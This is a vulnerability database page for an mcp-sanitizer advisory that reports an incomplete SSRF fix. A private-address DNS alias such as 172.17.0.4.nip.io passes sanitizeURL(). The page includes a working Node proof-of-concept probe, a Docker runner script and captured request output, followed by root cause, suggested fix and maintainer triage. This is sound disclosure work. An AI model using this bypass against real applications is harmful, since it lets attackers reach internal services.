Vulnerability DatabaseGHSA-qvp2-8q5w-gcfp

GHSA-qvp2-8q5w-gcfp: 
JavaScript vulnerability analysis and mitigation

Maintainer triage: Accepted, scored Medium: the GHSA-4mfg-r38w-w8fg fix covered literal addresses only, and exploitation requires the consuming application to fetch the URL. Fixed in 1.4.2 (https://github.com/starman69/mcp-sanitizer/pull/14): internal-only names (*.internal, *.local, metadata, ...) and CGNAT/reserved/NAT64/6to4 ranges are now blocked at string level. A DNS alias such as *.nip.io can only be caught by resolving it: use the new resolveAndValidateURL() (or URLValidator with validateDNS: true) and connect to the returned address. Synchronous sanitize() remains a string-level check.

Summary

I tested the fix for GHSA-4mfg-r38w-w8fg on the v1.4.1 release. The patched sanitizer rejects localhost with a port and direct private IP addresses. It still accepts a hostname whose DNS answer is private. I passed http://172.17.0.4.nip.io:19345/ to the public sanitizeURL() API. It returned isValid: true and preserved the URL. The name resolved to 172.17.0.4, and a request using the returned URL read a sentinel from a service in the Docker lab. The fix classifies the URL's hostname when that hostname is a literal IP address. It doesn't classify the address returned by DNS. This is an incomplete fix for GHSA-4mfg-r38w-w8fg. As with the parent advisory, the SSRF consequence depends on an application using this library to gate a subsequent fetch; the library does not fetch URLs itself.

Steps to reproduce

  1. I fetched the v1.4.1 source archive inside the Docker sandbox, checked its hash, unpacked it, and installed its dependencies there. The archive hash and package version were:
    $ bash run.sh      # the script is reproduced at the end of this report
    68fe0a06b6a85b48ef8160e2df6c77fcb5695c11437914ba00381417c4acf25b  mcp-sanitizer-1.4.1.tar.gz
    1.4.1
    I also checked that tag v1.4.1 points to commit dd2e7653978f1623757abd6ad691ab457f91be5d.
  2. I started a test HTTP service on port 19345 in the Docker sandbox. It returned INTERNAL_SENTINEL_20261029. Then I ran the probe below (reproduced in full at the end) with LAB_REPO set to the unpacked v1.4.1 source directory. The complete probe source is attached; it calls the public async sanitizeURL() API before each fetch, and runs BENIGN first, followed by ORIGINAL, BYPASS, and CONTROL.
    LAB_REPO=/tmp/mcp-sanitizer-cve-bypass/src node probe.js
    I used a public hostname as the benign fetch. Node sent this request, and the connection timed out without reaching the lab sentinel:
    GET / HTTP/1.1
    Host: example.com:19345
    Connection: close
    {"arm":"BENIGN","url":"http://example.com:19345/","isValid":true,"sanitized":"http://example.com:19345/","dns":"104.20.23.154","fetch":{"error":"timeout"}}
    The published input to the patched URL check was refused. The direct-IP near miss was refused too:
    {"arm":"ORIGINAL","url":"http://localhost:19345/","isValid":false,"sanitized":null,"fetch":"refused by sanitizer"}
    {"arm":"CONTROL","url":"http://127.0.0.1.:19345/","isValid":false,"sanitized":null,"fetch":"refused by sanitizer"}
    The accepted DNS alias caused this request to the lab service:
    GET / HTTP/1.1
    Host: 172.17.0.4.nip.io:19345
    Connection: close
    {"arm":"BYPASS","url":"http://172.17.0.4.nip.io:19345/","isValid":true,"sanitized":"http://172.17.0.4.nip.io:19345/","dns":"172.17.0.4","fetch":{"status":200,"body":"INTERNAL_SENTINEL_20261029"}}
    The service address is the Docker lab's private IPv4 address. A fresh run substitutes its own private address into the DNS alias. The four arms above are that capture, verbatim.

Impact

An application that treats sanitizeURL() or the MCP tool middleware as its SSRF boundary can pass an attacker-supplied DNS alias to a downstream fetcher. The middleware handles web_fetch and web_scraper URL parameters and forwards an accepted sanitized URL. In the lab, that URL reached a private HTTP service and returned its response. I did not test a deployed application or read a real internal service.

Root cause

validateURLLocation() lowercases the hostname, strips brackets and one trailing dot, rejects localhost names, and classifies literal IPv4 and IPv6 addresses. A DNS hostname passes those checks unchanged. The separate async URL validator has validateDNS: false by default; enabling it calls dns.lookup() to check that resolution succeeds, but it does not classify the returned address.

Severity

I scored the residual as 8.2, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N. The attacker now needs a DNS name resolving to a private address, which is easy to obtain or control; the lab used a public DNS alias service with no special account or race. The application still must use the sanitized URL for a subsequent request, the same integration precondition as in the parent advisory. Confidentiality is high only for an application whose internal fetcher returns sensitive service responses. The lab proves reachability and a returned sentinel, not access to production secrets.

Suggested fix

Resolve each hostname before approving it and reject any private, loopback, link-local, reserved, or otherwise disallowed answer. Pin the checked address for the actual connection, or have the fetcher repeat the check at connect time, so a DNS change or redirect cannot move the request to an internal address after validation.

Limits

I ran the release archive in a Docker lab. I couldn't find a bundled fetcher in this package, and I did not test a deployed consumer. The result shows that the default sanitizer approves a URL which a normal Node HTTP client then uses to reach a private address. Currency check 2026-10-29: I checked the npm registry's current package version as 1.4.1 and reran the PoC against the v1.4.1 release archive that day. The same four arms held.

References

The probe

const http = require("http");
const dns = require("dns").promises;
const os = require("os");
const { sanitizeURL } = require(process.env.LAB_REPO + "/src");
const sentinel = "INTERNAL_SENTINEL_20261029";
const localAddress = Object.values(os.networkInterfaces()).flat()
  .find(addr => addr.family === "IPv4" && !addr.internal).address;
const server = http.createServer((req, res) => {
  res.writeHead(200, { "content-type": "text/plain" });
  res.end(sentinel);
});
async function fetchResult(url) {
  return new Promise(resolve => {
    const req = http.get(url, { timeout: 2500 }, res => {
      let body = "";
      res.setEncoding("utf8");
      res.on("data", chunk => { body += chunk; });
      res.on("end", () => resolve({ status: res.statusCode, body }));
    });
    req.on("timeout", () => req.destroy(new Error("timeout")));
    req.on("error", err => resolve({ error: err.code || err.message }));
  });
}
async function arm(name, url) {
  const result = await sanitizeURL(url);
  const row = {
    arm: name,
    url,
    isValid: result.isValid,
    sanitized: result.sanitized
  };
  if (result.sanitized) {
    row.dns = (await dns.lookup(new URL(result.sanitized).hostname)).address;
    row.fetch = await fetchResult(result.sanitized);
  } else {
    row.fetch = "refused by sanitizer";
  }
  console.log(JSON.stringify(row));
  if (name === "BENIGN" && row.fetch.body === sentinel) throw Error("benign control reached sentinel");
  if (name === "ORIGINAL" && result.isValid) throw Error("published input was not refused");
  if (name === "BYPASS" && !(result.isValid && row.fetch.body === sentinel)) throw Error("bypass failed");
  if (name === "CONTROL" && result.isValid) throw Error("near-miss was not refused");
}
server.listen(19345, "0.0.0.0", async () => {
  try {
    await arm("BENIGN", "http://example.com:19345/");
    await arm("ORIGINAL", "http://localhost:19345/");
    await arm("BYPASS", `http://${localAddress}.nip.io:19345/`);
    await arm("CONTROL", "http://127.0.0.1.:19345/");
  } catch (error) {
    console.error(error);
    process.exitCode = 1;
  } finally {
    server.close();
  }
});

The runner

#!/bin/sh
set -eu
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
VER=${VER:-v1.4.1}
case "$VER" in
  v[0-9]*.[0-9]*.[0-9]*) ;;
  *) echo "VER must be a release tag such as v1.4.1" >&2; exit 2 ;;
esac
BINKIT=${BINKIT:-"$HERE/binkit.sh"}
WORK=${POC_WORK:-/tmp}
docker exec sbx mkdir -p "$WORK"
LAB=$(docker exec sbx mktemp -d "$WORK/mcp-sanitizer-cve-bypass.XXXXXX")
trap 'docker exec sbx rm -rf -- "$LAB" >/dev/null 2>&1 || true' EXIT
BINKIT_CONTAINER=sbx "$BINKIT" fetch \
  "https://github.com/starman69/mcp-sanitizer/archive/refs/tags/$VER.tar.gz" \
  "$LAB/download"
docker cp "$HERE/probe.js" "sbx:$LAB/probe.js"
docker exec -e LAB="$LAB" -e VER="$VER" sbx sh -lc '
  set -eu
  archive="$LAB/download/mcp-sanitizer-${VER#v}.tar.gz"
  sha256sum "$archive"
  if [ "$VER" = v1.4.1 ]; then
    echo "68fe0a06b6a85b48ef8160e2df6c77fcb5695c11437914ba00381417c4acf25b  $archive" | sha256sum -c -
  fi
  mkdir -p "$LAB/src"
  tar -xzf "$archive" --strip-components=1 -C "$LAB/src"
  cd "$LAB/src"
  npm ci --silent
  echo "release_tag=$VER package_version=$(node -p "require(\"./package.json\").version")"
  LAB_REPO="$LAB/src" node "$LAB/probe.js"
'

This report was prepared with AI assistance (Claude Code). The reporter stands behind its content; every arm above was executed in a contained lab against the published release, and I can re-run any of them on request.


Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v25x-53wq-6r99HIGH8.2
  • JavaScript logoJavaScript
  • mcp-sanitizer
NoYesOct 31, 2026
GHSA-grx6-75c5-f738HIGH7.1
  • JavaScript logoJavaScript
  • compressing
NoYesOct 31, 2026
GHSA-qvp2-8q5w-gcfpMEDIUM6.5
  • JavaScript logoJavaScript
  • mcp-sanitizer
NoYesOct 31, 2026
GHSA-vh7f-3c46-hfp3LOWN/A
  • JavaScript logoJavaScript
  • cron-parser
NoNoOct 31, 2026
GHSA-f7wr-f2gj-v69xLOWN/A
  • JavaScript logoJavaScript
  • seroval
NoYesOct 31, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management